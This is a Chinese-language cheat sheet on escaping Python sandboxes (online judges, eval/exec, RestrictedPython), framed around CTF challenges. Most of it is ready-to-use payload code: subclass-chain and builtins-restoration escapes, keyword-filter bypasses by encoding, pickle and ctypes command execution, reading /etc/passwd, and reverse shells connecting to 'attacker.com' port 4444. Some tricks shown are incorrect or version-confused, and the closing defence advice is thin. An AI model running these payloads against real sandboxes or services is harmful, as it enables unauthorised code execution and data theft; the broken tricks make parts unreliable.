从OJ到eval场景,覆盖所有Python沙箱逃逸技术
目录
一、沙箱逃逸概述
1.1 应用场景
-
Python OJ(在线判题系统)
-
在线Python IDE/Playground
-
eval()/exec() 代码执行
-
RestrictedPython
-
沙箱环境(如PyPy沙箱)
1.2 沙箱通常限制什么
-
删除危险模块:os、subprocess、commands、sys
-
删除__builtins__:open、eval、exec、import
-
过滤关键字:import、os、system、popen
-
禁用魔术方法:class、mro、subclasses
-
限制sys.modules
-
白名单机制:只允许特定模块/函数
1.3 逃逸本质
“沙箱限制的是’名字’,不是’能力’”
-
换个名字访问同一个对象
-
通过对象引用链绕过import限制
-
通过反射机制访问被删函数
二、沙箱环境探测(关键步骤)
在尝试逃逸之前,必须先探测沙箱的限制范围
2.1 测试可用内置函数
基础探测
# 测试1:查看当前环境有哪些内置函数print(dir(__builtins__))
# 测试2:查看内置函数数量print(len(dir(__builtins__)))
# 测试3:尝试访问常见危险函数print(__builtins__.get('eval'))print(__builtins__.get('exec'))print(__builtins__.get('open'))print(__builtins__.get('__import__'))批量测试函数可用性
# 测试常见危险函数是否可用dangerous_functions = [ 'eval', 'exec', 'compile', 'open', '__import__', 'input', 'help', 'breakpoint']
for func in dangerous_functions: try: result = __builtins__.get(func) if result: print(f"[+] {func}: 可用") else: print(f"[-] {func}: 被删除") except Exception as e: print(f"[-] {func}: 错误 - {e}")测试示例(有回显)
# 在沙箱中执行这些测试代码# 如果eval可用eval('print("eval可用")')
# 如果exec可用exec('print("exec可用")')
# 如果open可用f = open('/etc/passwd')print(f.read())f.close()
# 如果__import__可用os = __import__('os')print(os.system('id'))2.2 测试可用模块
基础探测
# 测试1:尝试import常见模块import os # 测试os模块import subprocess # 测试subprocess模块import sys # 测试sys模块import commands # 测试commands模块(Python 2)批量测试模块
# 测试常见模块是否可导入modules = [ 'os', 'subprocess', 'sys', 'commands', 'socket', 'pickle', 'ctypes', 'pty', 'multiprocessing', 'threading', 'asyncio', 'importlib', 'imp', 'code', 'codeop']
for module in modules: try: __import__(module) print(f"[+] {module}: 可导入") except ImportError: print(f"[-] {module}: 不可导入") except Exception as e: print(f"[!] {module}: 错误 - {e}")测试sys.modules
# 查看已加载的模块import sysprint(sys.modules.keys())
# 查看特定模块是否在sys.modules中import sysprint('os' in sys.modules)print('subprocess' in sys.modules)2.3 探测过滤规则
测试关键字过滤
# 测试常见关键字是否被过滤keywords = [ 'import', 'os', 'system', 'popen', 'eval', 'exec', 'open', 'file', '__class__', '__mro__', '__subclasses__', '__globals__', '__builtins__', '__import__']
for keyword in keywords: try: # 尝试构造包含关键字的字符串 test = keyword print(f"[+] '{keyword}': 未过滤") except: print(f"[-] '{keyword}': 被过滤")测试字符串过滤
# 测试引号是否被过滤test1 = 'single quote'test2 = "double quote"print("引号测试通过")
# 测试下划线是否被过滤test_underscore = 1print("下划线测试通过")
# 测试点号是否被过滤test.dot = 1print("点号测试通过")测试魔术方法
# 测试魔术方法是否可用test_str = ''try: result = test_str.__class__ print(f"[+] __class__: 可用")except: print(f"[-] __class__: 被禁")
try: result = test_str.__class__.__mro__ print(f"[+] __mro__: 可用")except: print(f"[-] __mro__: 被禁")
try: result = test_str.__class__.__mro__[-1].__subclasses__() print(f"[+] __subclasses__: 可用")except: print(f"[-] __subclasses__: 被禁")2.4 完整探测脚本
#!/usr/bin/env python3"""沙箱环境完整探测脚本在沙箱中执行此脚本,快速了解限制范围"""
def probe_builtins(): """探测内置函数""" print("\n=== 探测内置函数 ===")
dangerous = ['eval', 'exec', 'compile', 'open', '__import__', 'input', 'help', 'breakpoint', 'reload']
available = [] blocked = []
for func in dangerous: try: if __builtins__.get(func): available.append(func) else: blocked.append(func) except: blocked.append(func)
print(f"可用: {available}") print(f"被删: {blocked}") return available, blocked
def probe_modules(): """探测可用模块""" print("\n=== 探测可用模块 ===")
modules = ['os', 'subprocess', 'sys', 'commands', 'socket', 'pickle', 'ctypes', 'pty', 'importlib', 'imp']
available = [] blocked = []
for module in modules: try: __import__(module) available.append(module) except: blocked.append(module)
print(f"可导入: {available}") print(f"不可导入: {blocked}") return available, blocked
def probe_magic_methods(): """探测魔术方法""" print("\n=== 探测魔术方法 ===")
methods = ['__class__', '__mro__', '__subclasses__', '__globals__', '__builtins__', '__init__', '__dict__']
available = [] blocked = []
test_obj = '' for method in methods: try: if method == '__class__': result = test_obj.__class__ elif method == '__mro__': result = test_obj.__class__.__mro__ elif method == '__subclasses__': result = test_obj.__class__.__mro__[-1].__subclasses__() else: result = getattr(test_obj, method, None)
if result: available.append(method) else: blocked.append(method) except: blocked.append(method)
print(f"可用: {available}") print(f"被禁: {blocked}") return available, blocked
def probe_globals(): """探测全局命名空间""" print("\n=== 探测全局变量 ===")
try: print(f"全局变量数量: {len(globals())}") print(f"全局变量: {list(globals().keys())}") return globals() except Exception as e: print(f"无法访问globals: {e}") return None
def probe_builtins_dict(): """探测__builtins__字典""" print("\n=== 探测__builtins__ ===")
try: builtins_dict = dir(__builtins__) print(f"内置对象数量: {len(builtins_dict)}") print(f"内置对象: {builtins_dict[:100]}...") return builtins_dict except Exception as e: print(f"无法访问__builtins__: {e}") return None
# 执行所有探测if __name__ == '__main__': print("=" * 60) print("沙箱环境探测开始") print("=" * 60)
probe_builtins() probe_modules() probe_magic_methods() probe_globals() probe_builtins_dict()
print("\n" + "=" * 60) print("探测完成") print("=" * 60)2.5 探测结果分析
根据探测结果选择逃逸路径:
| 探测结果 | 推荐逃逸路径 |
|---|---|
reload可用 | 直接reload(builtin)恢复 |
__import__可用 | 直接import os |
importlib可用 | importlib.import_module(‘os’) |
| 魔术方法可用 | 对象继承链逃逸 |
pickle可用 | 反序列化逃逸 |
ctypes可用 | 调用C函数 |
| 只有白名单函数 | chr编码+对象链 |
2.6 实战示例
示例1:eval沙箱探测
# 题目代码eval(input(), {"__builtins__": {}}, {})
# 探测payloadprint(dir(__builtins__)) # 输出: [] (被清空)print(dir()) # 输出: [] (无全局变量)
# 测试字面量访问print(1) # 可用print('test') # 可用print([1,2,3]) # 可用
# 测试对象访问print(().__class__) # 可用!print(().__class__.__mro__) # 可用!示例2:OJ沙箱探测
# 探测内置函数print(__builtins__) # 输出: <module 'builtins'>print(dir(__builtins__)) # 输出很多函数
# 测试危险函数print(eval) # 报错: name 'eval' is not definedprint(open) # 报错: name 'open' is not defined
# 测试模块import os # 报错: ImportErrorimport sys # 报错: ImportError
# 测试魔术方法print(''.__class__) # 可用!三、核心逃逸路径
Python沙箱逃逸有7大核心路径:
| 路径 | 适用场景 | 关键技术 |
|---|---|---|
| 路径1 | __builtins__限制 | reload、builtins恢复 |
| 路径2 | import限制 | 编码绕过、importlib |
| 路径3 | 对象继承链 | subclasses、globals |
| 路径4 | 内置函数 | eval/exec/execfile |
| 路径5 | 标准库 | subprocess/ctypes/pickle |
| 路径6 | 第三方库 | multiprocessing/asyncio |
| 路径7 | 字节码/AST | co_consts、types |
四、绕过__builtins__限制
4.1 __builtins__被删除后恢复
方法1:reload(Python 2)
reload(__builtin__) # 恢复所有内置函数__import__('os').system('id')方法2:imp.reload(Python 3)
import impimp.reload(builtins)__import__('os').system('id')方法3:从其他模块获取
# 从任意模块的__builtins__获取[].__class__.__base__.__subclasses__()[X].__init__.__globals__['__builtins__']['eval']('__import__("os").system("id")')4.2 危险函数被删除后的替代
open被删除
# 方法1:从builtins恢复__builtins__['open']('/etc/passwd').read()
# 方法2:用io模块import ioio.open('/etc/passwd').read()
# 方法3:用codecsimport codecscodecs.open('/etc/passwd').read()
# 方法4:用pathlibimport pathlibpathlib.Path('/etc/passwd').read_text()
# 方法5:用fileinputimport fileinputfor line in fileinput.input('/etc/passwd'): print(line)eval/exec被删除
# 方法1:从builtins恢复__builtins__['eval']('__import__("os").system("id")')
# 方法2:用exec + compilecode = '__import__("os").system("id")'exec(compile(code, '', 'exec'))
# 方法3:用execfile(Python 2)execfile('/tmp/payload.py')
# 方法4:用subprocessimport subprocesssubprocess.call(['id'], shell=True)__import__被删除
# 方法1:importlibimport importlibimportlib.import_module('os').system('id')
# 方法2:__builtins____builtins__['__import__']('os').system('id')
# 方法3:从globals获取[x for x in (1).__class__.__base__.__subclasses__() if "warning" in str(x)][0]()._module.__builtins__['__import__']('os').system('id')五、绕过import限制
5.1 关键字过滤
方法1:__import__函数
__import__('os').system('id')方法2:importlib
import importlibimportlib.import_module('os').system('id')方法3:import语句变体
# 空格绕过import os
# 括号形式(Python 3.4+)import('os').system('id')5.2 模块名过滤(os/subprocess/commands)
方法1:编码绕过
# rot13__import__('bf'.decode('rot13')).system('id') # bf → os
# base64import base64__import__(base64.b64decode('b3M=').decode()).system('id')
# hex__import__('\x6f\x73').system('id') # \x6f\x73 = os
# unicode__import__('\u006f\u0073').system('id')
# 反转s = 'so'[::-1]__import__(s).system('id')方法2:getattr绕过
import codecsgetattr(__import__('os'), codecs.encode('flfgrz', 'rot_13'))('id')# os.system('id')方法3:字典访问
# 通过sys.modulesimport syssys.modules['os'] = __import__('pbzznaqf'.decode('rot13'))import commandscommands.getoutput('id')5.3 sys.modules被清空
方法1:重新加载源文件
# Python 2execfile('/usr/lib/python2.7/os.py')system('id')
# Python 3with open('/usr/local/lib/python3.8/os.py') as f: exec(f.read())system('id')方法2:恢复sys.modules
import syssys.modules['os'] = '/usr/lib/python2.7/os.py'import osos.system('id')方法3:直接执行代码
# 从文件读取并执行code = open('/usr/lib/python2.7/os.py').read()exec(code)system('id')五、通过对象继承链逃逸
5.1 基础链(爬到object)
# 任意对象 → __class__ → __mro__ → object → __subclasses__''.__class__.__mro__[-1].__subclasses__()5.2 找危险类
枚举所有子类
subclasses = ''.__class__.__mro__[-1].__subclasses__()for i, cls in enumerate(subclasses): print(i, cls.__name__)常用目标类
# Python 2file # 读文件subprocess.Popen # 执行命令
# Python 3subprocess.Popen # 执行命令os._wrap_close # 通过globals拿oswarnings.catch_warnings # 通过_module拿builtins5.3 利用示例
Python 2读文件
''.__class__.__mro__[-1].__subclasses__()[40]('/etc/passwd').read()执行命令(subprocess.Popen)
# 找Popen索引for i, cls in enumerate(''.__class__.__mro__[-1].__subclasses__()): if 'Popen' in str(cls): print(i) break
# 执行命令''.__class__.__mro__[-1].__subclasses__()[i](['id'], stdout=-1).communicate()通过os._wrap_close
# 找_wrap_close索引for i, cls in enumerate(''.__class__.__mro__[-1].__subclasses__()): if '_wrap_close' in str(cls): print(i) break
# 拿到os模块''.__class__.__mro__[-1].__subclasses__()[i].__init__.__globals__['os'].popen('id').read()通过catch_warnings拿builtins
# 找catch_warnings索引for i, cls in enumerate(''.__class__.__mro__[-1].__subclasses__()): if 'catch_warnings' in str(cls): print(i) break
# 拿到builtinscls = ''.__class__.__mro__[-1].__subclasses__()[i]cls()._module.__builtins__['__import__']('os').system('id')六、通过内置函数逃逸
6.1 eval / exec
# 直接执行eval('__import__("os").system("id")')exec('__import__("os").system("id")')
# 从builtins恢复__builtins__['eval']('__import__("os").system("id")')__builtins__['exec']('__import__("os").system("id")')6.2 execfile(Python 2)
# 直接执行文件execfile('/tmp/exploit.py')
# 执行系统命令execfile('/usr/lib/python2.7/os.py')system('id')6.3 compile
# 编译并执行代码code = '__import__("os").system("id")'compiled = compile(code, '<string>', 'exec')exec(compiled)6.4 breakpoint(Python 3.7+)
# 触发调试器,可能绕过某些沙箱breakpoint()6.5 help
# 进入help交互模式help()# 然后输入:!sh # Python 2os.system('id') # 某些环境七、通过标准库模块逃逸
7.1 subprocess模块
import subprocess
# 方法1:callsubprocess.call(['id'], shell=True)
# 方法2:Popensubprocess.Popen(['id'], stdout=-1).communicate()
# 方法3:run(Python 3.5+)subprocess.run(['id'], capture_output=True)7.2 os模块
import os
# 方法1:systemos.system('id')
# 方法2:popenos.popen('id').read()
# 方法3:spawnos.spawnl(os.P_WAIT, '/bin/sh', ['sh', '-c', 'id'])7.3 commands模块(Python 2)
import commands
commands.getoutput('id')commands.getstatusoutput('id')7.4 pty模块
import ptyimport os
pty.spawn(['/bin/sh', '-c', 'id'])7.5 socket模块(反弹shell)
import socketimport os
s = socket.socket()s.connect(('attacker.com', 4444))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.system('/bin/sh')7.6 pickle模块(反序列化)
import pickleimport os
class Exploit: def __reduce__(self): return (os.system, ('id',))
payload = pickle.dumps(Exploit())pickle.loads(payload) # 执行os.system('id')简化版payload:
import picklepickle.loads(b"cos\nsystem\n(S'id'\ntR.")7.7 marshal模块
import marshalimport types
code = compile('__import__("os").system("id")', '', 'exec')marshaled = marshal.dumps(code)func = types.FunctionType(marshal.loads(marshaled), {})func()7.8 code模块
import code
# 交互式控制台code.interact(local=locals())八、通过第三方库逃逸
8.1 ctypes
import ctypes
# 调用C函数libc = ctypes.CDLL('libc.so.6')libc.system(b'id')8.2 multiprocessing
import multiprocessingimport os
def exploit(): os.system('id')
p = multiprocessing.Process(target=exploit)p.start()p.join()8.3 threading
import threadingimport os
def exploit(): os.system('id')
t = threading.Thread(target=exploit)t.start()t.join()8.4 concurrent.futures
import concurrent.futuresimport os
with concurrent.futures.ThreadPoolExecutor() as executor: future = executor.submit(os.system, 'id') future.result()8.5 asyncio
import asyncioimport os
async def exploit(): os.system('id')
asyncio.run(exploit())九、通过字节码和AST逃逸
9.1 直接操作字节码
# 查看函数字节码def f(): __import__('os').system('id')
import disdis.dis(f)
# 修改字节码f.__code__.co_consts # 查看常量9.2 通过types模块创建函数
import types
code = compile('__import__("os").system("id")', '', 'exec')func = types.FunctionType(code, {'__builtins__': __builtins__})func()9.3 AST操作
import ast
code = '__import__("os").system("id")'tree = ast.parse(code)compiled = compile(tree, '', 'exec')exec(compiled)9.4 通过co_consts拿常量
# 适用于沙箱允许定义函数但过滤了字符串def f(): pass
f.__code__.co_consts # 查看函数中的常量
# 构造payloadcode = type(f.__code__)( co_consts=('os', 'system', 'id'), # 注入常量 ...)十、高级绕过技巧
10.1 字符串过滤绕过
拼接
s = 'o' + 's'__import__(s).system('id')反转
s = 'so'[::-1] # 'os'__import__(s).system('id')rot13
import codecss = codecs.decode('bf', 'rot_13') # 'os'__import__(s).system('id')base64
import base64s = base64.b64decode('b3M=').decode() # 'os'__import__(s).system('id')hex
s = '\x6f\x73' # 'os'__import__(s).system('id')unicode
s = '\u006f\u0073' # 'os'__import__(s).system('id')chr拼接
s = chr(111) + chr(115) # 'os'__import__(s).system('id')八进制
s = '\157\163' # 'os'__import__(s).system('id')getattr + dict
import osgetattr(os, {'s':'system'}['s'])('id')10.2 点号/引号过滤绕过
点号过滤
# 用getattrgetattr(__import__('os'), 'system')('id')
# 用__dict____import__('os').__dict__['system']('id')引号过滤
# 用chr构造s = chr(111) + chr(115) # 'os'__import__(s).system(chr(105) + chr(100)) # 'id'
# 用request(Flask)__import__(request.args.m).system(request.args.c)&m=os&c=id10.3 黑名单绕过
双写绕过
__imimportport__('os').sysystemtem('id')大小写混淆
__Import__('os').System('id')内联注释(某些解释器)
__import__('o/**/s').system('id')NULL字节(某些版本)
__import__('os\x00').system('id')10.4 白名单绕过
利用白名单函数
# 如果白名单包含chrs = chr(111) + chr(115)
# 如果白名单包含getattrgetattr(__import__('builtins'), chr(95)*2 + 'import' + chr(95)*2)(s).system('id')通过白名单模块的属性
# 如果允许math模块math.__builtins__['__import__']('os').system('id')十一、CTF实战案例
案例1:Python OJ沙箱逃逸
题目特征:
-
在线Python执行环境
-
禁用:os、subprocess、sys、import
-
删除:__builtins__中的危险函数
解法:
# Step 1:找__builtins__[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
# Step 2:恢复__import__builtins = [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins____import__ = builtins['__import__']
# Step 3:执行命令__import__('os').system('cat /flag')一行payload:
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('cat /flag')案例2:eval沙箱逃逸
题目特征:
eval(input(), {"__builtins__": {}}, {})解法1:通过字面量
[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')解法2:通过字典
''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read()案例3:过滤import和os
题目特征:
-
过滤字符串:“import”、“os”
-
过滤字符:单引号、双引号
解法:
# 用chr构造字符串i = chr(105) + chr(109) + chr(112) + chr(111) + chr(114) + chr(116) # 'import'o = chr(111) + chr(115) # 'os's = chr(115) + chr(121) + chr(115) + chr(116) + chr(101) + chr(109) # 'system'
getattr(__builtins__, chr(95)*2 + i + chr(95)*2)(o).system('id')案例4:白名单机制
题目特征:
allowed = ['abs', 'all', 'any', 'bin', 'bool', 'chr', 'complex', 'divmod']eval(input(), {"__builtins__": {k: __builtins__[k] for k in allowed}}, {})解法:
# 利用chr构造任意字符串# 利用列表推导式访问对象''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__[chr(111)+chr(115)].popen(chr(105)+chr(100)).read()案例5:execfile场景(Python 2)
题目特征:
-
Python 2环境
-
过滤所有import关键字
-
允许execfile
解法:
# 写payload到/tmpopen('/tmp/exploit.py', 'w').write('import os; os.system("id")')
# 执行execfile('/tmp/exploit.py')十二、自动化脚本库
12.1 枚举子类索引
#!/usr/bin/env python3# 枚举所有子类for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()): print(i, cls.__name__)
# 查找特定类# 找Popenfor i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()): if 'Popen' in str(cls): print(f'Popen at {i}')
# 找_wrap_closefor i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()): if '_wrap_close' in str(cls): print(f'_wrap_close at {i}')
# 找catch_warningsfor i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()): if 'catch_warnings' in str(cls): print(f'catch_warnings at {i}')12.2 查找有os的类
#!/usr/bin/env python3for i, cls in enumerate(''.__class__.__mro__[1].__subclasses__()): try: if 'os' in cls.__init__.__globals__: print(f'{i} {cls.__name__} has os') except: pass12.3 编码工具
#!/usr/bin/env python3import base64import codecs
def encode_tools(s): """字符串编码工具""" print(f"原字符串: {s}") print(f"rot13: {codecs.encode(s, 'rot_13')}") print(f"base64: {base64.b64encode(s.encode()).decode()}") print(f"hex: {s.encode().hex()}") print(f"chr: {'+'.join([f'chr({ord(c)})' for c in s])}") print(f"反转: {s[::-1]}")
# 使用示例encode_tools('os')encode_tools('system')十三、快速参考手册
13.1 3秒判断沙箱类型
eval(input()) → eval沙箱exec(input()) → exec沙箱Python OJ在线环境 → OJ沙箱RestrictedPython → RP沙箱删除__builtins__ → builtins沙箱白名单函数 → 白名单沙箱13.2 最强逃逸Payload(10个)
1. 通用子类链(Python 2/3)
''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['os'].popen('id').read()2. 通过catch_warnings
[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')3. reload恢复(Python 2)
reload(__builtin__)__import__('os').system('id')4. imp.reload恢复(Python 3)
import impimp.reload(builtins)__import__('os').system('id')5. execfile执行(Python 2)
execfile('/usr/lib/python2.7/os.py')system('id')6. pickle反序列化
import picklepickle.loads(b"cos\nsystem\n(S'id'\ntR.")7. subprocess.Popen
__import__('subprocess').Popen(['id'], stdout=-1).communicate()8. ctypes调用C
__import__('ctypes').CDLL('libc.so.6').system(b'id')9. socket反弹shell
import socket,os;s=socket.socket();s.connect(('ip',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system('/bin/sh')10. 编码绕过
__import__(chr(111)+chr(115)).system(chr(105)+chr(100)) # os.system('id')13.3 绕过__builtins__限制速查
__import__被删
import importlibimportlib.import_module('os').system('id')
__builtins__['__import__']('os').system('id')open被删
__builtins__['open']('/etc/passwd').read()
import ioio.open('/etc/passwd').read()eval/exec被删
__builtins__['eval']('__import__("os").system("id")')
exec(compile('__import__("os").system("id")', '', 'exec'))所有builtins被删
reload(__builtin__) # Python 2imp.reload(builtins) # Python 313.4 绕过import限制速查
过滤”import”
__import__('os').system('id')
import importlibimportlib.import_module('os').system('id')过滤”os”
__import__('bf'.decode('rot13')).system('id') # bf→os
__import__(chr(111)+chr(115)).system('id') # chr→os
import base64__import__(base64.b64decode('b3M=').decode()).system('id')过滤”system”
getattr(__import__('os'), 'flfgrz'.decode('rot13'))('id') # flfgrz→system
getattr(__import__('os'), chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))('id')过滤”popen”
getattr(__import__('os'), 'cbcra'.decode('rot13'))('id').read()13.5 字符串构造技巧速查
| 方法 | 示例 | 结果 |
|---|---|---|
| 拼接 | 'o' + 's' | ’os’ |
| 反转 | 'so'[::-1] | ’os’ |
| rot13 | codecs.decode('bf', 'rot_13') | ’os’ |
| base64 | base64.b64decode('b3M=').decode() | ’os’ |
| hex | '\x6f\x73' | ’os’ |
| unicode | '\u006f\u0073' | ’os’ |
| chr | chr(111)+chr(115) | ’os’ |
| 八进制 | '\157\163' | ’os’ |
13.6 编码转换速查表
| 原字符串 | rot13 | base64 | hex | chr |
|---|---|---|---|---|
| os | bf | b3M= | \x6f\x73 | chr(111)+chr(115) |
| system | flfgrz | c3lzdGVt | \x73\x79\x73\x74\x65\x6d | chr(115)+chr(121)+… |
| import | vzcber | aW1wb3J0 | \x69\x6d\x70\x6f\x72\x74 | chr(105)+chr(109)+… |
| popen | cbcra | cG9wZW4= | \x70\x6f\x70\x65\x6e | chr(112)+chr(111)+… |
13.7 Python 2 vs Python 3
| 特性 | Python 2 | Python 3 |
|---|---|---|
| builtins | builtin | builtins |
| reload | reload() | imp.reload() |
| execfile | 有 | 无(用exec) |
| file类 | 有 | 无(用open) |
| import() | 无 | 有(3.4+) |
| commands | 有 | 无 |
| 字符串 | str/unicode | str/bytes |
13.8 CTF完整Checklist
-
[ ] 判断沙箱类型(eval/exec/OJ)
-
[ ] 测试可用函数(print/dir/help)
-
[ ] 测试可用模块(import测试)
-
[ ] 检查__builtins__
-
[ ] 检查__import__
-
[ ] 检查魔术方法(class/mro)
-
[ ] 尝试reload恢复
-
[ ] 尝试子类链逃逸
-
[ ] 尝试编码绕过
-
[ ] 尝试第三方库(pickle/ctypes)
-
[ ] 构造最终payload
-
[ ] 执行命令
-
[ ] 获取flag
十四、常见错误排查
import被禁
→ 用__import__、importlib或子类链
__builtins__被删
→ reload恢复、从子类获取、用execfile/exec
字符串被过滤
→ 编码绕过(rot13/base64/chr)、反转/拼接、getattr
魔术方法被禁
→ getattr绕过、dict访问
所有模块被删
→ execfile加载源文件、pickle反序列化、ctypes调用C
Payload执行无反应
→ 检查命令是否正确、尝试写文件验证、使用外带
十五、防御建议
- 使用ast.literal_eval代替eval
import astresult = ast.literal_eval(user_input) # 只能解析字面量- 使用RestrictedPython
from RestrictedPython import compile_restrictedcode = compile_restricted(user_input, '<inline>', 'exec')- 白名单机制
allowed = {'abs', 'all', 'any'}safe_builtins = {k: __builtins__[k] for k in allowed}eval(user_input, {"__builtins__": safe_builtins}, {})- 容器隔离(Docker)
docker run --rm -it python:3.9-slim python- seccomp限制系统调用
# 限制危险的系统调用import subprocesssubprocess.run(['seccomp-tools', 'dump', 'python'])- 限制文件系统访问
import osos.chroot('/tmp/sandbox') # 切换根目录- 禁用危险模块
import syssys.modules['os'] = Nonesys.modules['subprocess'] = None- 监控资源使用
import resourceresource.setrlimit(resource.RLIMIT_CPU, (1, 1)) # CPU时间限制十六、总结
核心要点
-
沙箱本质:限制”名字”不限制”能力”
-
7大逃逸路径:builtins、import、继承链、内置函数、标准库、第三方库、字节码
-
关键技巧:reload恢复、编码绕过、子类链、pickle反序列化
-
字符串构造:chr、编码、反转、拼接
最小化思维模型
判断沙箱类型 → 测试可用性 → 选择逃逸路径 → 构造payload → 执行命令 → 获取flag